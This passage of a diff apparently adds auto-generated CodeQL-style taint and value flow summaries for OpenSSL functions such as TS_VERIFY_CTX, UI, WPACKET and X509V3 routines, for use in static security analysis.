"(TS_TST_INFO *,const ASN1_GENERALIZEDTIME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_tsa", "(TS_TST_INFO *,GENERAL_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_tsa", "(TS_TST_INFO *,GENERAL_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_tsa", "(TS_TST_INFO *,GENERAL_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_version", "(TS_TST_INFO *,long)", "", "Argument[1]", "Argument[*0].Field[**version].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_add_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_add_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_add_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**certs]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*certs]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[*1]", "Argument[*0].Field[**imprint]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[1]", "Argument[*0].Field[*imprint]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[2]", "Argument[*0].Field[*imprint_len]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**store]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set0_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*0].Field[**certs]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*0].Field[*certs]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*1]", "Argument[*0].Field[**certs]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[*certs]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_certs", "(TS_VERIFY_CTX *,stack_st_X509 *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*0].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*0].Field[*data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_data", "(TS_VERIFY_CTX *,BIO *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_flags", "(TS_VERIFY_CTX *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[*1]", "Argument[*0].Field[**imprint]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[1]", "Argument[*0].Field[*imprint]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_imprint", "(TS_VERIFY_CTX *,unsigned char *,long)", "", "Argument[2]", "Argument[*0].Field[*imprint_len]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*0].Field[**store]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*0].Field[*store]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*1]", "Argument[*0].Field[**store]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[1]", "Argument[*0].Field[*store]", "value", "dfc-generated"] + - ["", "", True, "TS_VERIFY_CTX_set_store", "(TS_VERIFY_CTX *,X509_STORE *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_ext_print_bio", "(BIO *,const stack_st_X509_EXTENSION *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_create_index", "(TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[2]", "Argument[*0].Field[**qual]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_create_index", "(TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[3]", "Argument[*0].Field[***index].Field[*hash]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_create_index", "(TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)", "", "Argument[4]", "Argument[*0].Field[***index].Field[*comp]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_insert", "(TXT_DB *,OPENSSL_STRING *)", "", "Argument[*1]", "Argument[*0].Field[**data].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_insert", "(TXT_DB *,OPENSSL_STRING *)", "", "Argument[1]", "Argument[*0].Field[**data].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TXT_DB_read", "(BIO *,int)", "", "Argument[1]", "ReturnValue[*].Field[**data].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "TXT_DB_read", "(BIO *,int)", "", "Argument[1]", "ReturnValue[*].Field[**data].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TXT_DB_read", "(BIO *,int)", "", "Argument[1]", "ReturnValue[*].Field[*num_fields]", "value", "dfc-generated"] + - ["", "", True, "UI_add_error_string", "(UI *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_add_info_string", "(UI *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_add_input_boolean", "(UI *,const char *,const char *,const char *,const char *,int,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_add_input_string", "(UI *,const char *,int,char *,int,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_add_user_data", "(UI *,void *)", "", "Argument[**1]", "Argument[*0].Field[***user_data]", "value", "dfc-generated"] + - ["", "", True, "UI_add_user_data", "(UI *,void *)", "", "Argument[*1]", "Argument[*0].Field[**user_data]", "value", "dfc-generated"] + - ["", "", True, "UI_add_user_data", "(UI *,void *)", "", "Argument[1]", "Argument[*0].Field[*user_data]", "value", "dfc-generated"] + - ["", "", True, "UI_add_verify_string", "(UI *,const char *,int,char *,int,int,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_construct_prompt", "(UI *,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_construct_prompt", "(UI *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_construct_prompt", "(UI *,const char *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "UI_construct_prompt", "(UI *,const char *,const char *)", "", "Argument[2]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "UI_create_method", "(const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "UI_create_method", "(const char *)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "UI_dup_error_string", "(UI *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_dup_info_string", "(UI *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_dup_input_boolean", "(UI *,const char *,const char *,const char *,const char *,int,char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_dup_input_string", "(UI *,const char *,int,char *,int,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_dup_verify_string", "(UI *,const char *,int,char *,int,int,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_get0_output_string", "(UI_STRING *)", "", "Argument[*0].Field[**out_string]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_get0_output_string", "(UI_STRING *)", "", "Argument[*0].Field[*out_string]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get0_result_string", "(UI_STRING *)", "", "Argument[*0].Field[**result_buf]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_get0_result_string", "(UI_STRING *)", "", "Argument[*0].Field[*result_buf]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get0_user_data", "(UI *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "UI_get0_user_data", "(UI *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "UI_get0_user_data", "(UI *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "UI_get_ex_data", "(const UI *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "UI_get_input_flags", "(UI_STRING *)", "", "Argument[*0].Field[*input_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get_method", "(UI *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_get_method", "(UI *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get_result_string_length", "(UI_STRING *)", "", "Argument[*0].Field[*result_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_get_string_type", "(UI_STRING *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_closer", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_close_session]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_data_destructor", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_destroy_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_data_duplicator", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_duplicate_data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_ex_data", "(const UI_METHOD *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "UI_method_get_flusher", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_flush]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_opener", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_open_session]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_prompt_constructor", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_construct_prompt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_reader", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_read_string]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_get_writer", "(const UI_METHOD *)", "", "Argument[*0].Field[*ui_write_string]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_closer", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_close_session]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_data_duplicator", "(UI_METHOD *,..(*)(..),..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_duplicate_data]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_data_duplicator", "(UI_METHOD *,..(*)(..),..(*)(..))", "", "Argument[2]", "Argument[*0].Field[*ui_destroy_data]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_flusher", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_flush]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_opener", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_open_session]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_prompt_constructor", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_construct_prompt]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_reader", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_read_string]", "value", "dfc-generated"] + - ["", "", True, "UI_method_set_writer", "(UI_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ui_write_string]", "value", "dfc-generated"] + - ["", "", True, "UI_new_method", "(const UI_METHOD *)", "", "Argument[*0]", "ReturnValue[*].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "UI_new_method", "(const UI_METHOD *)", "", "Argument[0]", "ReturnValue[*].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "UI_set_method", "(UI *,const UI_METHOD *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "UI_set_result", "(UI *,UI_STRING *,const char *)", "", "Argument[*2]", "Argument[*1].Field[**result_buf]", "value", "dfc-generated"] + - ["", "", True, "UI_set_result", "(UI *,UI_STRING *,const char *)", "", "Argument[2]", "Argument[*1].Field[**result_buf]", "taint", "dfc-generated"] + - ["", "", True, "UI_set_result_ex", "(UI *,UI_STRING *,const char *,int)", "", "Argument[*2]", "Argument[*1].Field[**result_buf]", "value", "dfc-generated"] + - ["", "", True, "UI_set_result_ex", "(UI *,UI_STRING *,const char *,int)", "", "Argument[2]", "Argument[*1].Field[**result_buf]", "taint", "dfc-generated"] + - ["", "", True, "UI_set_result_ex", "(UI *,UI_STRING *,const char *,int)", "", "Argument[3]", "Argument[*1].Field[*result_len]", "value", "dfc-generated"] + - ["", "", True, "USERNOTICE_free", "(USERNOTICE *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "USERNOTICE_free", "(USERNOTICE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "UTF8_getc", "(const unsigned char *,int,unsigned long *)", "", "Argument[*0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "UTF8_getc", "(const unsigned char *,int,unsigned long *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "UTF8_putc", "(unsigned char *,int,unsigned long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "UTF8_putc", "(unsigned char *,int,unsigned long)", "", "Argument[2]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL", "(const void *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL", "(const void *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bitlen]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bitoff]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_BitUpdate", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Final", "(unsigned char *,WHIRLPOOL_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bitlen]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*bitoff]", "taint", "dfc-generated"] + - ["", "", True, "WHIRLPOOL_Update", "(WHIRLPOOL_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_get_curr", "(WPACKET *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "WPACKET_get_curr", "(WPACKET *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "WPACKET_get_length", "(WPACKET *,size_t *)", "", "Argument[*0].Field[**subs].Field[*pwritten]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_get_length", "(WPACKET *,size_t *)", "", "Argument[*0].Field[*written]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_get_total_written", "(WPACKET *,size_t *)", "", "Argument[*0].Field[*written]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init", "(WPACKET *,BUF_MEM *)", "", "Argument[1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_der", "(WPACKET *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**staticbuf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_der", "(WPACKET *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*staticbuf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_der", "(WPACKET *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*maxsize]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_len", "(WPACKET *,BUF_MEM *,size_t)", "", "Argument[1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_null", "(WPACKET *,size_t)", "", "Argument[1]", "Argument[*0].Field[*maxsize]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_init_static_len", "(WPACKET *,unsigned char *,size_t,size_t)", "", "Argument[*1]", "Argument[*0].Field[**staticbuf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_static_len", "(WPACKET *,unsigned char *,size_t,size_t)", "", "Argument[1]", "Argument[*0].Field[*staticbuf]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_init_static_len", "(WPACKET *,unsigned char *,size_t,size_t)", "", "Argument[2]", "Argument[*0].Field[*maxsize]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_memcpy", "(WPACKET *,const void *,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_memcpy", "(WPACKET *,const void *,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_memset", "(WPACKET *,int,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "WPACKET_put_bytes__", "(WPACKET *,uint64_t,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "WPACKET_quic_sub_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_quic_sub_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_quic_sub_allocate_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_reserve_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_reserve_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_reserve_bytes", "(WPACKET *,size_t,unsigned char **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_set_flags", "(WPACKET *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[**subs].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_set_max_size", "(WPACKET *,size_t)", "", "Argument[1]", "Argument[*0].Field[*maxsize]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_start_sub_packet", "(WPACKET *)", "", "Argument[*0].Field[**subs]", "Argument[*0].Field[**subs].Field[**parent]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_start_sub_packet", "(WPACKET *)", "", "Argument[*0].Field[*subs]", "Argument[*0].Field[**subs].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_start_sub_packet_len__", "(WPACKET *,size_t)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "WPACKET_sub_allocate_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_allocate_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_allocate_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_memcpy__", "(WPACKET *,const void *,size_t,size_t)", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "WPACKET_sub_memcpy__", "(WPACKET *,const void *,size_t,size_t)", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_reserve_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[*2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_reserve_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "WPACKET_sub_reserve_bytes__", "(WPACKET *,size_t,unsigned char **,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_add_list", "(X509V3_EXT_METHOD *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_add_nconf_sk", "(CONF *,X509V3_CTX *,const char *,stack_st_X509_EXTENSION **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_conf_nid", "(lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_conf_nid", "(lhash_st_CONF_VALUE *,X509V3_CTX *,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_d2i", "(X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "X509V3_EXT_d2i", "(X509_EXTENSION *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "X509V3_EXT_i2d", "(int,int,void *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509V3_EXT_i2d", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[**object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_i2d", "(int,int,void *)", "", "Argument[0]", "ReturnValue[*].Field[*object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_nconf_nid", "(CONF *,X509V3_CTX *,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[**object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_nconf_nid", "(CONF *,X509V3_CTX *,int,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*object]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_nconf_nid", "(CONF *,X509V3_CTX *,int,const char *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "X509V3_EXT_print", "(BIO *,X509_EXTENSION *,unsigned long,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "X509V3_add1_i2d", "(stack_st_X509_EXTENSION **,int,void *,int,unsigned long)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "X509V3_add1_i2d", "(stack_st_X509_EXTENSION **,int,void 